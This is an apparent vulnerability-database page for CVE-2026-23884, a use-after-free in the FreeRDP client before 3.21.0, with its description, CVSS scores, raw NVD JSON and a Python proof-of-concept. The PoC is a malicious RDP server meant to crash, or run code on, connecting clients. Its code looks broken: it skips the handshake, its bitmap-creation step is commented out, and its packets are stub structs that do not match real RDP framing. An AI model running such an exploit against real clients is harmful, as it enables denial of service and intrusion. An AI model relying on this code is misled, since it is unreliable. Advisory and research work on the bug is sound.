Security Vulnerability Report
中文
CVE-2026-23884 CVSS 9.8 CRITICAL

CVE-2026-23884

Published: 2026-01-19 18:16:06
Last Modified: 2026-01-28 18:31:30

Description

FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to version 3.21.0, offscreen bitmap deletion leaves `gdi->drawing` pointing to freed memory, causing UAF when related update packets arrive. A malicious server can trigger a client‑side use after free, causing a crash (DoS) and potential heap corruption with code‑execution risk depending on allocator behavior and surrounding heap layout. Version 3.21.0 contains a patch for the issue.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:* - VULNERABLE
FreeRDP < 3.21.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-23884 PoC - FreeRDP offscreen bitmap UAF This PoC demonstrates the UAF vulnerability in FreeRDP < 3.21.0 Note: This is for educational and security research purposes only. """ import socket import struct import time def create_rdp_negotiation_request(): """Create RDP negotiation request packet""" # RDP negotiation message type msg_type = 0x01 # Negotiation Request flag = 0x00 length = 0x08 packet = struct.pack('<BBHI', flag, msg_type, length, 0x00000000) return packet def create_offscreen_delete_packet(bitmap_id): """Create packet to trigger offscreen bitmap deletion""" # This simulates sending a DeleteOffscreenBitmap order # which triggers the UAF condition in FreeRDP order_type = 0x2D # DeleteOffscreenBitmap order type # Bitmap ID to delete data = struct.pack('<BI', order_type, bitmap_id) return data def create_update_packet_with_drawing(): """Create update packet that will access freed gdi->drawing pointer""" # After bitmap deletion, gdi->drawing points to freed memory # Sending an update order will trigger UAF access update_type = 0x01 # TS_UPDATETYPE_BITMAP header = struct.pack('<BH', update_type, 0x0000) return header def rdp_server_poc(): """ Simulate malicious RDP server to trigger CVE-2026-23884 """ server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_socket.bind(('0.0.0.0', 3389)) server_socket.listen(5) print("[*] Malicious RDP server started on port 3389") print("[*] Waiting for FreeRDP client connection...") try: client_socket, addr = server_socket.accept() print(f"[+] Client connected from {addr}") # Step 1: Send negotiation client_socket.send(create_rdp_negotiation_request()) time.sleep(0.5) # Step 2: Establish RDP session # (Simplified - real implementation would complete full handshake) # Step 3: Create and send bitmap first print("[*] Creating offscreen bitmap...") # bitmap_create_packet = create_offscreen_create_packet(bitmap_id=1) # client_socket.send(bitmap_create_packet) # Step 4: Send delete packet to trigger UAF print("[*] Sending offscreen bitmap delete packet...") client_socket.send(create_offscreen_delete_packet(bitmap_id=1)) time.sleep(0.1) # Step 5: Send update packet to trigger UAF access print("[*] Sending update packet - this triggers UAF!") client_socket.send(create_update_packet_with_drawing()) print("[+] PoC packet sequence sent") print("[*] If vulnerable FreeRDP client, should trigger crash or RCE") time.sleep(2) except Exception as e: print(f"[-] Error: {e}") finally: client_socket.close() server_socket.close() if __name__ == "__main__": rdp_server_poc()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23884", "sourceIdentifier": "[email protected]", "published": "2026-01-19T18:16:06.430", "lastModified": "2026-01-28T18:31:29.960", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to version 3.21.0, offscreen bitmap deletion leaves `gdi->drawing` pointing to freed memory, causing UAF when related update packets arrive. A malicious server can trigger a client‑side use after free, causing a crash (DoS) and potential heap corruption with code‑execution risk depending on allocator behavior and surrounding heap layout. Version 3.21.0 contains a patch for the issue."}, {"lang": "es", "value": "FreeRDP es una implementación gratuita del Protocolo de Escritorio Remoto. Antes de la versión 3.21.0, la eliminación de mapas de bits fuera de pantalla deja 'gdi-&gt;drawing' apuntando a memoria liberada, causando UAF cuando llegan paquetes de actualización relacionados. Un servidor malicioso puede desencadenar un uso después de la liberación del lado del cliente, causando un fallo (DoS) y una posible corrupción del heap con riesgo de ejecución de código, dependiendo del comportamiento del asignador y del diseño del heap circundante. La versión 3.21.0 contiene un parche para el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.21.0", "matchCriteriaId": "E6899265-905F-4A3A-96D3-07B552FBFBEC"}]}]}], "references": [{"url": "https://github.com/FreeRDP/FreeRDP/blob/3370e30e92a021eb680892dda14d642bc8b8727c/libfreerdp/cache/offscreen.c#L114-L122", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/FreeRDP/FreeRDP/blob/3370e30e92a021eb680892dda14d642bc8b8727c/libfreerdp/cache/offscreen.c#L87-L91", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/FreeRDP/FreeRDP/releases/tag/3.21.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-cfgj-vc84-f3pp", "source": "[email protected]", "tags": ["Vendor Advisory", "Exploit"]}]}}